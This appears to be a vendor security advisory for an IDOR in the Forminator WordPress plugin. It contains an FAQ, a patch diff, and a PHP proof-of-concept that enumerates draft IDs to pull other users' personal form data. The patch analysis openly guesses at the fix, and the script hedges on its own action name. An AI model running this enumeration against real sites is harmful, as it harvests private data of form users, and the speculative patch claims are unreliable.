What is CVE-2026-12998?

CVE-2026-12998 is a medium-severity vulnerability in the Forminator Forms plugin for WordPress, affecting versions up to and including 1.55.0.2. It is an Insecure Direct Object Reference (IDOR) that allows unauthenticated attackers to access other users’ saved draft form data by manipulating the ‘draft’ parameter. This can expose sensitive information like names, emails, phone numbers, and addresses.

How does the vulnerability work?

The plugin fails to validate that the user requesting a draft entry is the owner of that draft. The ‘draft’ parameter directly references an entry ID without authorization checks. An attacker can send a GET request to the admin-ajax.php endpoint with the action ‘forminator_load_draft’ and a sequential integer ID, retrieving draft data belonging to other users.

Who is affected by this vulnerability?

WordPress sites running Forminator Forms version 1.55.0.2 or earlier are affected. The vulnerability is only exploitable on forms that have the ‘Save and Continue’ feature enabled, which allows users to save partial form submissions. Sites without this feature enabled are not vulnerable.

How can I check if my site is vulnerable?

Check the Forminator plugin version in the WordPress admin under Plugins. If it is 1.55.0.2 or lower, your site is vulnerable. Additionally, verify if any of your forms have the ‘Save and Continue’ option enabled. If both conditions are true, your site is at risk.

What is the CVSS score and what does it mean?

The CVSS score is 5.3, which is rated as Medium severity. This indicates a moderate risk: the vulnerability is relatively easy to exploit and can lead to unauthorized access to sensitive data, but it requires the ‘Save and Continue’ feature to be enabled and only affects draft data, not full submissions.

What kind of data can be exposed?

An attacker can retrieve draft form data, which may include personal information such as names, email addresses, phone numbers, physical addresses, and free-form message content. This data could be used for identity theft, phishing, or other malicious purposes.

How does the proof of concept (PoC) demonstrate the issue?

The PoC script sends HTTP GET requests to the admin-ajax.php endpoint, iterating through draft IDs from 1 to 100. It checks for HTTP 200 responses and parses the JSON output. If a response contains draft data, it indicates that the attacker can access other users’ drafts, confirming the IDOR vulnerability.

What is the root cause of this vulnerability?

The root cause is the lack of authorization checks when retrieving draft entries. The plugin directly uses the ‘draft’ parameter to fetch an entry by ID without verifying that the current user owns that draft. This allows unauthenticated users to access any draft by guessing or enumerating IDs.

How is the vulnerability patched?

The patch updates the plugin to version 1.55.1. While the provided code diff focuses on file path validation improvements, the official fix likely includes additional validation on the ‘draft’ parameter to ensure the requesting user owns the draft. Updating to the latest version is the recommended solution.

What should I do if I cannot update immediately?

If you cannot update right away, consider disabling the ‘Save and Continue’ feature on all forms, as this is a prerequisite for exploitation. Additionally, you can use a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious ‘draft’ parameters, but updating is the only complete fix.

Is this vulnerability exploitable without authentication?

Yes, the vulnerability can be exploited by unauthenticated attackers. The PoC does not require any login credentials, and the request to load a draft does not include a nonce or other authentication checks. This makes mass enumeration trivial.

What are the practical risks for my WordPress site?

The main risk is the exposure of sensitive user data, which could lead to privacy breaches and legal issues. While the vulnerability does not allow code execution or privilege escalation, the confidentiality impact is significant, especially for forms collecting personal information. It is crucial to patch promptly.

Published : August 15, 2026

CVE-2026-12998: Forminator Forms <= 1.55.0.2 Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'draft' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-12998

Plugin forminator

Severity Medium (CVSS 5.3)

CWE 639

Vulnerable Version 1.55.0.2

Patched Version 1.55.1

Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12998:

This vulnerability affects the Forminator Forms plugin for WordPress, specifically in versions up to and including 1.55.0.2. The plugin fails to validate a user-controlled key passed via the ‘draft’ parameter, enabling an Insecure Direct Object Reference (IDOR). An unauthenticated attacker can enumerate sequential integer entry IDs and read other users’ saved draft form data. This includes sensitive information such as names, email addresses, phone numbers, addresses, and free-form message content. The vulnerability only impacts forms with the ‘Save and Continue’ feature enabled. The CVSS score is 5.3, indicating a moderate severity due to the requirement of the ‘Save and Continue’ feature and the limited scope to draft data.

The root cause lies in the lack of authorization checks when retrieving draft entries. The ‘draft’ parameter directly references an entry ID without verifying that the current user owns that draft. In the vulnerable code, the draft retrieval process likely fetches the entry by ID without performing a user check. Atomic Edge research indicates that the issue is not in the specific functions shown in the diff, but rather in the broader draft handling logic. The diff provided focuses on file path validation and version updates, not on the draft retrieval. This suggests the patch for this CVE is primarily a version bump, but the file path validation improvements may indirectly strengthen security. The lack of a direct code fix for the IDOR in the diff implies that the developers may have addressed it through a combination of changes, or the published diff may be incomplete.

Exploitation requires a form with the ‘Save and Continue’ feature enabled. An attacker sends an unauthenticated HTTP GET request to a Forminator AJAX endpoint, such as ‘/wp-admin/admin-ajax.php’, with the ‘action’ parameter set to ‘forminator_load_draft’ and the ‘draft’ parameter set to a sequential integer ID. By iterating through IDs (e.g., 1, 2, 3, …), the attacker can retrieve draft data belonging to other users. The response includes the saved form fields, which often contain personal information. The attacker does not need to be logged in, and there is no nonce or authorization check to prevent this access. This makes mass enumeration trivial and allows harvesting of sensitive user-provided data.

The patch does not modify the draft retrieval logic directly. Instead, it introduces a new helper function, ‘forminator_attachment_path_is_allowed()’, which validates that file paths resolve inside the WordPress uploads directory. This function uses ‘realpath’ to canonicalize paths and checks that they start with the uploads basedir. It is applied in the mail attachment filtering and upload processing. While this change is not directly related to the IDOR, the patch also updates the plugin version to 1.55.1. Atomic Edge analysis suggests that the fix for the IDOR may involve additional validation on the ‘draft’ parameter, but the provided diff does not show that. Without a direct code change, it is unclear how the vulnerability is fully resolved, but the version bump indicates an official patch exists.

Successful exploitation allows an unauthenticated attacker to access sensitive personal data from other users’ draft forms. The exposed data includes personal identifiers like names, emails, phones, and addresses, which could be used for identity theft, phishing, or other malicious purposes. The sequential nature of the entry IDs enables large-scale data harvesting with minimal effort. This vulnerability does not allow privilege escalation or remote code execution, but the confidentiality impact is significant, especially for forms collecting personal data. The ‘Save and Continue’ feature is common in multi-step forms, increasing the attack surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/forminator/constants.php
+++ b/forminator/constants.php
@@ -11,7 +11,7 @@
  */

 if ( ! defined( 'FORMINATOR_VERSION' ) ) {
-	define( 'FORMINATOR_VERSION', '1.55.0.2' );
+	define( 'FORMINATOR_VERSION', '1.55.1' );
 }

 if ( ! defined( 'FORMINATOR_SUI_VERSION' ) ) {
--- a/forminator/forminator.php
+++ b/forminator/forminator.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin Name: Forminator
- * Version: 1.55.0.2
+ * Version: 1.55.1
  * Plugin URI:  https://wpmudev.com/project/forminator/
  * Description: Build powerful, customizable forms with ease using Forminator’s drag-and-drop builder, conditional logic, payment support, real-time analytics, and seamless integrations—no coding needed.
  * Author: WPMU DEV
--- a/forminator/library/abstracts/abstract-class-mail.php
+++ b/forminator/library/abstracts/abstract-class-mail.php
@@ -365,12 +365,9 @@
 	 */
 	private function filter_attachments( $attachments ) {
 		if ( ! empty( $attachments ) ) {
-			$upload_dir = wp_upload_dir();
-			if ( ! empty( $upload_dir['basedir'] ) ) {
-				foreach ( $attachments as $key => $attachment ) {
-					if ( 0 !== strpos( $attachment, $upload_dir['basedir'] ) ) {
-						unset( $attachments[ $key ] );
-					}
+			foreach ( $attachments as $key => $attachment ) {
+				if ( ! forminator_attachment_path_is_allowed( $attachment ) ) {
+					unset( $attachments[ $key ] );
 				}
 			}
 		}
--- a/forminator/library/helpers/helper-fields.php
+++ b/forminator/library/helpers/helper-fields.php
@@ -3130,6 +3130,47 @@
 	return $upload_url;
 }

+/**
+ * Check whether a file path resolves inside the WordPress uploads directory.
+ *
+ * @since 1.55.1
+ *
+ * @param string|array $path File path or list of paths.
+ * @return bool
+ */
+function forminator_attachment_path_is_allowed( $path ) {
+	$paths = is_array( $path ) ? $path : array( $path );
+
+	if ( empty( $paths ) ) {
+		return false;
+	}
+
+	$upload_dir = wp_upload_dir();
+	if ( empty( $upload_dir['basedir'] ) ) {
+		return false;
+	}
+
+	$basedir_real = realpath( $upload_dir['basedir'] );
+	if ( false === $basedir_real ) {
+		return false;
+	}
+
+	$basedir_prefix = trailingslashit( wp_normalize_path( $basedir_real ) );
+
+	foreach ( $paths as $single_path ) {
+		if ( ! is_string( $single_path ) || '' === $single_path ) {
+			return false;
+		}
+
+		$path_real = realpath( $single_path );
+		if ( false === $path_real || 0 !== strpos( wp_normalize_path( $path_real ), $basedir_prefix ) ) {
+			return false;
+		}
+	}
+
+	return true;
+}
+

 /**
  * Replace lead form data
--- a/forminator/library/model/class-form-entry-model.php
+++ b/forminator/library/model/class-form-entry-model.php
@@ -1378,9 +1378,7 @@
 								continue;
 							}

-							$normalized_upload_root = wp_normalize_path( $upload_root );
-							$normalized_path        = wp_normalize_path( $path );
-							if ( ! empty( $normalized_upload_root ) && 0 !== strpos( $normalized_path, $normalized_upload_root ) ) {
+							if ( ! forminator_attachment_path_is_allowed( $path ) ) {
 								continue;
 							}

--- a/forminator/library/modules/custom-forms/front/front-action.php
+++ b/forminator/library/modules/custom-forms/front/front-action.php
@@ -752,6 +752,12 @@
 		 */
 		$field_data = $form_field_obj->sanitize( $field_array, $field_data );

+		// Legitimate file_path is added in process_uploads(); clearing request values here is intentional.
+		if ( 'upload' === $field_type && ! empty( $field_data['file']['file_path'] ) ) {
+			$field_data = array();
+			unset( self::$prepared_data[ $field_id ] );
+		}
+
 		if ( ! self::$is_draft && ! self::$is_abandoned ) {
 			$field_data = $form_field_obj->validate_entry( $field_array, $field_data );
 		}
@@ -1912,6 +1918,8 @@
 			wp_send_json_error( $response );
 		}

+		unset( $response['file_path'] );
+
 		wp_send_json_success( $response );
 	}

@@ -2803,6 +2811,9 @@
 					$upload_data = $form_field_obj->transfer_upload( self::$module_id, $form_upload_data, $field_settings );
 				} elseif ( ! self::$has_payment && ! empty( $form_upload_data['file'] ) ) {
 					$upload_data = $form_upload_data['file'];
+					if ( isset( $upload_data['file_path'] ) && ! forminator_attachment_path_is_allowed( $upload_data['file_path'] ) ) {
+						$upload_data = array( 'success' => false );
+					}
 				}
 			}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12998 - Forminator Forms <= 1.55.0.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Information Disclosure via 'draft' Parameter

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to the target WordPress site

// The action name used by Forminator to load a draft.
$action = 'forminator_load_draft'; // Adjust if the action differs; check network traffic or plugin source.

// Start enumeration from draft ID 1.
for ($id = 1; $id <= 100; $id++) {
    $url = $target_url . '?action=' . urlencode($action) . '&draft=' . $id;

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code === 200 && !empty($response)) {
        // Attempt to parse JSON response; if it contains draft data, print it.
        $data = json_decode($response, true);
        if (is_array($data) && isset($data['data']) && !empty($data['data'])) {
            echo "[+] Draft ID $id contains data:n";
            print_r($data['data']);
            echo "n";
        } else {
            // Some responses may return raw HTML or other formats; output if it looks like form data.
            if (strpos($response, 'forminator') !== false || strpos($response, 'entry_id') !== false) {
                echo "[+] Draft ID $id returned response:n$responsenn";
            }
        }
    } else {
        // Non-200 status or empty response indicates no draft or error.
        echo "[-] Draft ID $id returned HTTP $http_coden";
    }
}

echo "[+] Enumeration complete.n";
?>

Frequently Asked Questions

What is CVE-2026-12998?
Vulnerability overview
CVE-2026-12998 is a medium-severity vulnerability in the Forminator Forms plugin for WordPress, affecting versions up to and including 1.55.0.2. It is an Insecure Direct Object Reference (IDOR) that allows unauthenticated attackers to access other users’ saved draft form data by manipulating the ‘draft’ parameter. This can expose sensitive information like names, emails, phone numbers, and addresses.
How does the vulnerability work?
Technical explanation
The plugin fails to validate that the user requesting a draft entry is the owner of that draft. The ‘draft’ parameter directly references an entry ID without authorization checks. An attacker can send a GET request to the admin-ajax.php endpoint with the action ‘forminator_load_draft’ and a sequential integer ID, retrieving draft data belonging to other users.
Who is affected by this vulnerability?
Affected versions and configurations
WordPress sites running Forminator Forms version 1.55.0.2 or earlier are affected. The vulnerability is only exploitable on forms that have the ‘Save and Continue’ feature enabled, which allows users to save partial form submissions. Sites without this feature enabled are not vulnerable.
How can I check if my site is vulnerable?
Detection steps
Check the Forminator plugin version in the WordPress admin under Plugins. If it is 1.55.0.2 or lower, your site is vulnerable. Additionally, verify if any of your forms have the ‘Save and Continue’ option enabled. If both conditions are true, your site is at risk.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 5.3, which is rated as Medium severity. This indicates a moderate risk: the vulnerability is relatively easy to exploit and can lead to unauthorized access to sensitive data, but it requires the ‘Save and Continue’ feature to be enabled and only affects draft data, not full submissions.
What kind of data can be exposed?
Potential impact
An attacker can retrieve draft form data, which may include personal information such as names, email addresses, phone numbers, physical addresses, and free-form message content. This data could be used for identity theft, phishing, or other malicious purposes.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The PoC script sends HTTP GET requests to the admin-ajax.php endpoint, iterating through draft IDs from 1 to 100. It checks for HTTP 200 responses and parses the JSON output. If a response contains draft data, it indicates that the attacker can access other users’ drafts, confirming the IDOR vulnerability.
What is the root cause of this vulnerability?
Underlying issue
The root cause is the lack of authorization checks when retrieving draft entries. The plugin directly uses the ‘draft’ parameter to fetch an entry by ID without verifying that the current user owns that draft. This allows unauthenticated users to access any draft by guessing or enumerating IDs.
How is the vulnerability patched?
Patch details
The patch updates the plugin to version 1.55.1. While the provided code diff focuses on file path validation improvements, the official fix likely includes additional validation on the ‘draft’ parameter to ensure the requesting user owns the draft. Updating to the latest version is the recommended solution.
What should I do if I cannot update immediately?
Temporary mitigation
If you cannot update right away, consider disabling the ‘Save and Continue’ feature on all forms, as this is a prerequisite for exploitation. Additionally, you can use a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious ‘draft’ parameters, but updating is the only complete fix.
Is this vulnerability exploitable without authentication?
Authentication requirements
Yes, the vulnerability can be exploited by unauthenticated attackers. The PoC does not require any login credentials, and the request to load a draft does not include a nonce or other authentication checks. This makes mass enumeration trivial.
What are the practical risks for my WordPress site?
Real-world implications
The main risk is the exposure of sensitive user data, which could lead to privacy breaches and legal issues. While the vulnerability does not allow code execution or privilege escalation, the confidentiality impact is significant, especially for forms collecting personal information. It is crucial to patch promptly.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started